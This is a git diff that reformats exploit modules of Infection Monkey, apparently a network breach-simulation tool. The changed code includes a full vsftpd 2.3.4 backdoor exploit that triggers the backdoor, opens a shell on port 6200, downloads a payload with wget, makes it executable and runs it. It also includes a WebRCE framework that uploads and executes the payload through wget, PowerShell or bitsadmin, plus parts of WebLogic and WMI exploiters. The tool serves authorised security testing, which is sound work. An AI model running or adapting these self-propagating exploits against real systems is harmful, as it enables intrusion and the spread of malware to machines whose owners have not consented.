SmbTools(object): @staticmethod def get_dce_bind(smb): - rpctransport = transport.SMBTransport(smb.getRemoteHost(), - smb.getRemoteHost(), - filename=r'\srvsvc', - smb_connection=smb) + rpctransport = transport.SMBTransport( + smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb + ) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) diff --git a/monkey/infection_monkey/exploit/tools/test_helpers.py b/monkey/infection_monkey/exploit/tools/test_helpers.py deleted file mode 100644 index 5d7dd422d..000000000 --- a/monkey/infection_monkey/exploit/tools/test_helpers.py +++ /dev/null @@ -1,28 +0,0 @@ -import unittest - -from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly - - -class TestHelpers(unittest.TestCase): - - def test_build_monkey_commandline_explicitly(self): - test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80" - result1 = build_monkey_commandline_explicitly(101010, - "10.10.101.10", - "127.127.127.127:5000", - 0, - "C:\\windows\\abc", - 80) - - test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80" - result2 = build_monkey_commandline_explicitly(parent="parent", - server="127.127.127.127:5000", - depth="0", - vulnerable_port="80") - - self.assertEqual(test1, result1) - self.assertEqual(test2, result2) - - -if __name__ == '__main__': - unittest.main() diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index e1e002d72..25b4a393a 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -5,19 +5,15 @@ from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL -__author__ = 'itamar' - LOG = logging.getLogger(__name__) -class DceRpcException(Exception): - pass - - class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): - super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % - (host, domain, username, password)) + super(AccessDeniedException, self).__init__( + "Access is denied to %r with username %s\\%s and password %r" + % (host, domain, username, password) + ) class WmiTools(object): @@ -34,17 +30,20 @@ class WmiTools(object): if not domain: domain = host.ip_addr - dcom = DCOMConnection(host.ip_addr, - username=username, - password=password, - domain=domain, - lmhash=lmhash, - nthash=nthash, - oxidResolver=True) + dcom = DCOMConnection( + host.ip_addr, + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + oxidResolver=True, + ) try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, - wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx( + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + ) except Exception as exc: dcom.disconnect() @@ -56,9 +55,9 @@ class WmiTools(object): iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: - self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self._iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) self._dcom = dcom - except: + except Exception: dcom.disconnect() raise @@ -128,7 +127,7 @@ class WmiTools(object): try: while True: try: - next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] + next_item = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] record = next_item.getProperties() if not fields: @@ -136,7 +135,7 @@ class WmiTools(object): query_record = {} for key in fields: - query_record[key] = record[key]['value'] + query_record[key] = record[key]["value"] query.append(query_record) except DCERPCSessionError as exc: diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index f2e355802..bb832358a 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -1,6 +1,7 @@ """ Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp + /vsftpd_234_backdoor.rb only vulnerable version is "2.3.4" """ @@ -10,14 +11,20 @@ from logging import getLogger from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import CHMOD_MONKEY, DOWNLOAD_TIMEOUT, MONKEY_ARG, RUN_MONKEY, WGET_HTTP_UPLOAD +from infection_monkey.model import ( + CHMOD_MONKEY, + DOWNLOAD_TIMEOUT, + MONKEY_ARG, + RUN_MONKEY, + WGET_HTTP_UPLOAD, +) from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.commands import build_monkey_commandline LOG = getLogger(__name__) -__author__ = 'D3fa1t' FTP_PORT = 21 # port at which vsftpd runs BACKDOOR_PORT = 6200 # backdoor port @@ -25,14 +32,14 @@ RECV_128 = 128 # In Bytes UNAME_M = "uname -m" ULIMIT_V = "ulimit -v " # To increase the memory limit UNLIMITED = "unlimited;" -USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor -PASSWORD = b'PASS please' # Ftp Password +USERNAME = b"USER D3fa1t:)" # Ftp Username should end with :) to trigger the backdoor +PASSWORD = b"PASS please" # Ftp Password FTP_TIME_BUFFER = 1 # In seconds class VSFTPDExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux'] - _EXPLOITED_SERVICE = 'VSFTPD' + _TARGET_OS_TYPE = ["linux"] + _EXPLOITED_SERVICE = "VSFTPD" def __init__(self, host): self._update_timestamp = 0 @@ -44,15 +51,15 @@ class VSFTPDExploiter(HostExploiter): s.connect((ip_addr, port)) return True except socket.error as e: - LOG.info('Failed to connect to %s: %s', self.host.ip_addr, str(e)) + LOG.info("Failed to connect to %s: %s", self.host.ip_addr, str(e)) return False def socket_send_recv(self, s, message): try: s.send(message) - return s.recv(RECV_128).decode('utf-8') + return s.recv(RECV_128).decode("utf-8") except socket.error as e: - LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e)) + LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e)) return False def socket_send(self, s, message): @@ -60,7 +67,7 @@ class VSFTPDExploiter(HostExploiter): s.send(message) return True except socket.error as e: - LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e)) + LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e)) return False def _exploit_host(self): @@ -68,32 +75,32 @@ class VSFTPDExploiter(HostExploiter): ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): - ftp_socket.recv(RECV_128).decode('utf-8') + ftp_socket.recv(RECV_128).decode("utf-8") - if self.socket_send_recv(ftp_socket, USERNAME + b'\n'): + if self.socket_send_recv(ftp_socket, USERNAME + b"\n"): time.sleep(FTP_TIME_BUFFER) - self.socket_send(ftp_socket, PASSWORD + b'\n') + self.socket_send(ftp_socket, PASSWORD + b"\n") ftp_socket.close() - LOG.info('Backdoor Enabled, Now we can run commands') + LOG.info("Backdoor Enabled, Now we can run commands") else: - LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr) + LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr) return False - LOG.info('Attempting to connect to backdoor...') + LOG.info("Attempting to connect to backdoor...") backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): - LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) + LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr) - uname_m = str.encode(UNAME_M + '\n') + uname_m = str.encode(UNAME_M + "\n") response = self.socket_send_recv(backdoor_socket, uname_m) if response: - LOG.info('Response for uname -m: %s', response) - if '' != response.lower().strip(): + LOG.info("Response for uname -m: %s", response) + if "" != response.lower().strip(): # command execution is successful - self.host.os['machine'] = response.lower().strip() - self.host.os['type'] = 'linux' + self.host.os["machine"] = response.lower().strip() + self.host.os["type"] = "linux" else: LOG.info("Failed to execute command uname -m on victim %r ", self.host) @@ -111,39 +118,48 @@ class VSFTPDExploiter(HostExploiter): # Upload the monkey to the machine monkey_path = dropper_target_path_linux - download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path} - download_command = str.encode(str(download_command) + '\n') + download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path} + download_command = str.encode(str(download_command) + "\n") LOG.info("Download command is %s", download_command) if self.socket_send(backdoor_socket, download_command): - LOG.info('Monkey is now Downloaded ') + LOG.info("Monkey is now Downloaded ") else: - LOG.error('Failed to download monkey at %s', self.host.ip_addr) + LOG.error("Failed to download monkey at %s", self.host.ip_addr) return False http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() # Change permissions - change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path} - change_permission = str.encode(str(change_permission) + '\n') + change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path} + change_permission = str.encode(str(change_permission) + "\n") LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send() # Run monkey on the machine - parameters = build_monkey_commandline(self.host, - get_monkey_depth() - 1, - vulnerable_port=FTP_PORT) - run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} + parameters = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT + ) + run_monkey = RUN_MONKEY % { + "monkey_path": monkey_path, + "monkey_type": MONKEY_ARG, + "parameters": parameters, + } # Set unlimited to memory - # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit + # we don't have to revert the ulimit because it just applies to the shell obtained by our + # exploit run_monkey = ULIMIT_V + UNLIMITED + run_monkey - run_monkey = str.encode(str(run_monkey) + '\n') + run_monkey = str.encode(str(run_monkey) + "\n") time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey): - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, - self.host, run_monkey) + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + run_monkey, + ) self.add_executed_cmd(run_monkey.decode()) return True else: diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index d12e4eaa9..ad39b3b8b 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,16 +5,26 @@ from posixpath import join from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, CHMOD_MONKEY, DOWNLOAD_TIMEOUT, DROPPER_ARG, - GET_ARCH_LINUX, GET_ARCH_WINDOWS, ID_STRING, MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, - RUN_MONKEY, WGET_HTTP_UPLOAD) -from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service +from infection_monkey.model import ( + BITSADMIN_CMDLINE_HTTP, + CHECK_COMMAND, + CHMOD_MONKEY, + DOWNLOAD_TIMEOUT, + DROPPER_ARG, + GET_ARCH_LINUX, + GET_ARCH_WINDOWS, + ID_STRING, + MONKEY_ARG, + POWERSHELL_HTTP_UPLOAD, + RUN_MONKEY, + WGET_HTTP_UPLOAD, +) +from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem - -__author__ = 'VakarisZ' +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) # Command used to check if monkeys already exists @@ -26,7 +36,6 @@ WIN_ARCH_64 = "64" class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths=None): """ :param host: Host that we'll attack @@ -37,9 +46,11 @@ class WebRCE(HostExploiter): if monkey_target_paths: self.monkey_target_paths = monkey_target_paths else: - self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux, - 'win32': self._config.dropper_target_path_win_32, - 'win64': self._config.dropper_target_path_win_64} + self.monkey_target_paths = { + "linux": self._config.dropper_target_path_linux, + "win32": self._config.dropper_target_path_win_32, + "win64": self._config.dropper_target_path_win_64, + } self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist self.vulnerable_urls = [] @@ -53,22 +64,28 @@ class WebRCE(HostExploiter): """ exploit_config = {} - # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + # dropper: If true monkey will use dropper parameter that will detach monkey's process + # and try to copy # it's file to the default destination path. - exploit_config['dropper'] = False + exploit_config["dropper"] = False - # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} - # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used. - exploit_config['upload_commands'] = None + # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD, + # 'windows': WIN_CMD} + # Command must have "monkey_path" and "http_path" format parameters. If None defaults + # will be used. + exploit_config["upload_commands"] = None - # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] - exploit_config['url_extensions'] = [] + # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", + # "index.php"] + exploit_config["url_extensions"] = [] - # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. - exploit_config['stop_checking_urls'] = False + # stop_checking_urls: If true it will stop checking vulnerable urls once one was found + # vulnerable. + exploit_config["stop_checking_urls"] = False - # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. - exploit_config['blind_exploit'] = False + # blind_exploit: If true we won't check if file exist and won't try to get the + # architecture of target. + exploit_config["blind_exploit"] = False return exploit_config @@ -84,8 +101,8 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions']) - self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls']) + potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"]) + self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"]) if not self.are_vulnerable_urls_sufficient(): return False @@ -94,26 +111,37 @@ class WebRCE(HostExploiter): self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url) # Skip if monkey already exists and this option is given - if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.target_url): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) + if ( + not exploit_config["blind_exploit"] + and self.skip_exist + and self.check_remote_files(self.target_url) + ): + LOG.info( + "Host %s was already infected under the current configuration, done" % self.host + ) return True # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()): + if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()): return False # Upload the right monkey to target - data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands']) + data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) if data is False: return False # Change permissions to transform monkey into executable file - if self.change_permissions(self.get_target_url(), data['path']) is False: + if self.change_permissions(self.get_target_url(), data["path"]) is False: return False # Execute remote monkey - if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False: + if ( + self.execute_remote_monkey( + self.get_target_url(), data["path"], exploit_config["dropper"] + ) + is False + ): return False return True @@ -135,36 +163,40 @@ class WebRCE(HostExploiter): :return: Returns all open ports from port list that are of service names """ candidate_services = {} - candidate_services.update({ - service: self.host.services[service] for service in self.host.services if - (self.host.services[service] and - 'name' in self.host.services[service] and - self.host.services[service]['name'] in names) - }) + candidate_services.update( + { + service: self.host.services[service] + for service in self.host.services + if ( + self.host.services[service] + and "name" in self.host.services[service] + and self.host.services[service]["name"] in names + ) + } + ) - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - tcp_port_to_service(port) in candidate_services] + valid_ports = [ + (port, candidate_services["tcp-" + str(port)]["data"][1]) + for port in port_list + if tcp_port_to_service(port) in candidate_services + ] return valid_ports - def check_if_port_open(self, port): - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - LOG.info("Port %d is closed on %r, skipping", port, self.host) - return False - return True - def get_command(self, path, http_path, commands): try: - if 'linux' in self.host.os['type']: - command = commands['linux'] + if "linux" in self.host.os["type"]: + command = commands["linux"] else: - command = commands['windows'] + command = commands["windows"] # Format command - command = command % {'monkey_path': path, 'http_path': http_path} + command = command % {"monkey_path": path, "http_path": http_path} except KeyError: - LOG.error("Provided command is missing/bad for this type of host! " - "Check upload_monkey function docs before using custom monkey's upload commands.") + LOG.error( + "Provided command is missing/bad for this type of host! " + "Check upload_monkey function docs before using custom monkey's upload " + "commands." + ) return False return command @@ -188,15 +220,17 @@ class WebRCE(HostExploiter): def build_potential_urls(self, ports, extensions=None): """ - Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. - :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and + extensions. + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), + isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ url_list = [] if extensions: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] + extensions = [(e[1:] if "/" == e[0] else e) for e in extensions] else: extensions = [""] for port in ports: @@ -205,7 +239,9 @@ class WebRCE(HostExploiter): protocol = "https" else: protocol = "http" - url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)) + url_list.append( + join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + ) if not url_list: LOG.info("No attack url's were built") return url_list @@ -214,7 +250,8 @@ class WebRCE(HostExploiter): """ Gets vulnerable url(s) from url list :param urls: Potentially vulnerable urls - :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool) + :param stop_checking: If we want to continue checking for vulnerable url even though one + is found (bool) :return: None (we append to class variable vulnerable_urls) """ for url in urls: @@ -231,11 +268,11 @@ class WebRCE(HostExploiter): :param url: Url for exploiter to use :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... """ - if 'linux' in self.host.os['type']: + if "linux" in self.host.os["type"]: resp = self.exploit(url, GET_ARCH_LINUX) if resp: # Pulls architecture string - arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp) try: arch = arch.group(1) except AttributeError: @@ -261,10 +298,13 @@ class WebRCE(HostExploiter): def check_remote_monkey_file(self, url, path): command = LOOK_FOR_FILE % path resp = self.exploit(url, command) - if 'No such file' in resp: + if "No such file" in resp: return False else: - LOG.info("Host %s was already infected under the current configuration, done" % str(self.host)) + LOG.info( + "Host %s was already infected under the current configuration, done" + % str(self.host) + ) return True def check_remote_files(self, url): @@ -273,10 +313,10 @@ class WebRCE(HostExploiter): :return: True if at least one file is found, False otherwise """ paths = [] - if 'linux' in self.host.os['type']: - paths.append(self.monkey_target_paths['linux']) + if "linux" in self.host.os["type"]: + paths.append(self.monkey_target_paths["linux"]) else: - paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']]) + paths.extend([self.monkey_target_paths["win32"], self.monkey_target_paths["win64"]]) for path in paths: if self.check_remote_monkey_file(url, path): return True @@ -288,7 +328,8 @@ class WebRCE(HostExploiter): Get ports wrapped with log :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS :param names: [] of service names. Example: ["http"] - :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] + :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ + port.nr, IsHTTPS?] """ ports = self.get_open_service_ports(ports, names) if not ports: @@ -303,12 +344,13 @@ class WebRCE(HostExploiter): LOG.error("Couldn't get host machine's architecture") return False else: - self.host.os['machine'] = arch + self.host.os["machine"] = arch return True def run_backup_commands(self, resp, url, dest_path, http_path): """ - If you need multiple commands for the same os you can override this method to add backup commands + If you need multiple commands for the same os you can override this method to add backup + commands :param resp: Response from base command :param url: Vulnerable url :param dest_path: Where to upload monkey @@ -317,7 +359,10 @@ class WebRCE(HostExploiter): """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + backup_command = BITSADMIN_CMDLINE_HTTP % { + "monkey_path": dest_path, + "http_path": http_path, + } T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() resp = self.exploit(url, backup_command) return resp @@ -325,30 +370,31 @@ class WebRCE(HostExploiter): def upload_monkey(self, url, commands=None): """ :param url: Where exploiter should send it's request - :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} + :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': + WIN_CMD} Command must have "monkey_path" and "http_path" format parameters. :return: {'response': response/False, 'path': monkeys_path_in_host} """ LOG.info("Trying to upload monkey to the host.") - if not self.host.os['type']: + if not self.host.os["type"]: LOG.error("Unknown target's os type. Skipping.") return False paths = self.get_monkey_paths() if not paths: return False # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) # Choose command: if not commands: - commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} - command = self.get_command(paths['dest_path'], http_path, commands) + commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} + command = self.get_command(paths["dest_path"], http_path, commands) resp = self.exploit(url, command) self.add_executed_cmd(command) - resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) + resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -357,7 +403,7 @@ class WebRCE(HostExploiter): if resp is False: return resp else: - return {'response': resp, 'path': paths['dest_path']} + return {"response": resp, "path": paths["dest_path"]} def change_permissions(self, url, path, command=None): """ @@ -368,11 +414,11 @@ class WebRCE(HostExploiter): :return: response, False if failed and True if permission change is not needed """ LOG.info("Changing monkey's permissions") - if 'windows' in self.host.os['type']: + if "windows" in self.host.os["type"]: LOG.info("Permission change not required for windows") return True if not command: - command = CHMOD_MONKEY % {'monkey_path': path} + command = CHMOD_MONKEY % {"monkey_path": path} try: resp = self.exploit(url, command) T1222Telem(ScanStatus.USED, command, self.host).send() @@ -385,11 +431,13 @@ class WebRCE(HostExploiter): LOG.info("Permission change finished") return resp # If exploiter returns command output, we can check for execution errors - if 'Operation not permitted' in resp: + if "Operation not permitted" in resp: LOG.error("Missing permissions to make monkey executable") return False - elif 'No such file or directory' in resp: - LOG.error("Could not change permission because monkey was not found. Check path parameter.") + elif "No such file or directory" in resp: + LOG.error( + "Could not change permission because monkey was not found. Check path " "parameter." + ) return False LOG.info("Permission change finished") return resp @@ -409,16 +457,23 @@ class WebRCE(HostExploiter): default_path = self.get_default_dropper_path() if default_path is False: return False - monkey_cmd = build_monkey_commandline(self.host, - get_monkey_depth() - 1, - self.vulnerable_port, - default_path) - command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path + ) + command = RUN_MONKEY % { + "monkey_path": path, + "monkey_type": DROPPER_ARG, + "parameters": monkey_cmd, + } else: - monkey_cmd = build_monkey_commandline(self.host, - get_monkey_depth() - 1, - self.vulnerable_port) - command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, self.vulnerable_port + ) + command = RUN_MONKEY % { + "monkey_path": path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, + } try: LOG.info("Trying to execute monkey using command: {}".format(command)) resp = self.exploit(url, command) @@ -428,10 +483,10 @@ class WebRCE(HostExploiter): self.add_executed_cmd(command) return resp # If exploiter returns command output, we can check for execution errors - if 'is not recognized' in resp or 'command not found' in resp: + if "is not recognized" in resp or "command not found" in resp: LOG.error("Wrong path chosen or other process already deleted monkey") return False - elif 'The system cannot execute' in resp: + elif "The system cannot execute" in resp: LOG.error("System could not execute monkey") return False except Exception as e: @@ -445,26 +500,34 @@ class WebRCE(HostExploiter): def get_monkey_upload_path(self, url_to_monkey): """ Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths). - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :param url_to_monkey: Hosted monkey's url. egz : + http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from self.monkey_target_paths """ - if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): - LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): + LOG.error( + "Can't get destination path because source path %s is invalid.", url_to_monkey + ) return False try: - if 'linux' in url_to_monkey: - return self.monkey_target_paths['linux'] - elif 'windows-32' in url_to_monkey: - return self.monkey_target_paths['win32'] - elif 'windows-64' in url_to_monkey: - return self.monkey_target_paths['win64'] + if "linux" in url_to_monkey: + return self.monkey_target_paths["linux"] + elif "windows-32" in url_to_monkey: + return self.monkey_target_paths["win32"] + elif "windows-64" in url_to_monkey: + return self.monkey_target_paths["win64"] else: - LOG.error("Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen.") + LOG.error( + "Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen." + ) return False except KeyError: - LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " - "custom dict of monkey's destination paths") + LOG.error( + 'Unknown key was found. Please use "linux", "win32" and "win64" keys to ' + "initialize " + "custom dict of monkey's destination paths" + ) return False def get_monkey_paths(self): @@ -480,7 +543,7 @@ class WebRCE(HostExploiter): dest_path = self.get_monkey_upload_path(src_path) if not dest_path: return False - return {'src_path': src_path, 'dest_path': dest_path} + return {"src_path": src_path, "dest_path": dest_path} def get_default_dropper_path(self): """ @@ -488,22 +551,21 @@ class WebRCE(HostExploiter): :return: Default monkey's destination path for corresponding host or False if failed. E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host """ - if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): + if not self.host.os.get("type") or ( + self.host.os["type"] != "linux" and self.host.os["type"] != "windows" + ): LOG.error("Target's OS was either unidentified or not supported. Aborting") return False - if self.host.os['type'] == 'linux': + if self.host.os["type"] == "linux": return self._config.dropper_target_path_linux - if self.host.os['type'] == 'windows': + if self.host.os["type"] == "windows": try: - if self.host.os['machine'] == WIN_ARCH_64: + if self.host.os["machine"] == WIN_ARCH_64: return self._config.dropper_target_path_win_64 except KeyError: LOG.debug("Target's machine type was not set. Using win-32 dropper path.") return self._config.dropper_target_path_win_32 - def set_vulnerable_port_from_url(self, url): - self.vulnerable_port = HTTPTools.get_port_from_url(url) - def get_target_url(self): """ This method allows "configuring" the way in which a vulnerable URL is picked. @@ -512,11 +574,13 @@ class WebRCE(HostExploiter): :return: a vulnerable URL """ return self.vulnerable_urls[0] - + def are_vulnerable_urls_sufficient(self): """ - Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack. - Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for + Determine whether the number of vulnerable URLs is sufficient in order to perform the + full attack. + Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a + vulnerable URL is for single use, thus we need a couple of them. :return: Whether or not a full attack can be performed using the available vulnerable URLs. """ diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 00b62d3d6..75aaa10df 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -11,8 +11,6 @@ from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target -__author__ = "VakarisZ" - LOG = logging.getLogger(__name__) # How long server waits for get request in seconds SERVER_TIMEOUT = 4 @@ -26,13 +24,13 @@ EXECUTION_TIMEOUT = 15 HEADERS = { "Content-Type": "text/xml;charset=UTF-8", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", } class WebLogicExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Weblogic' + 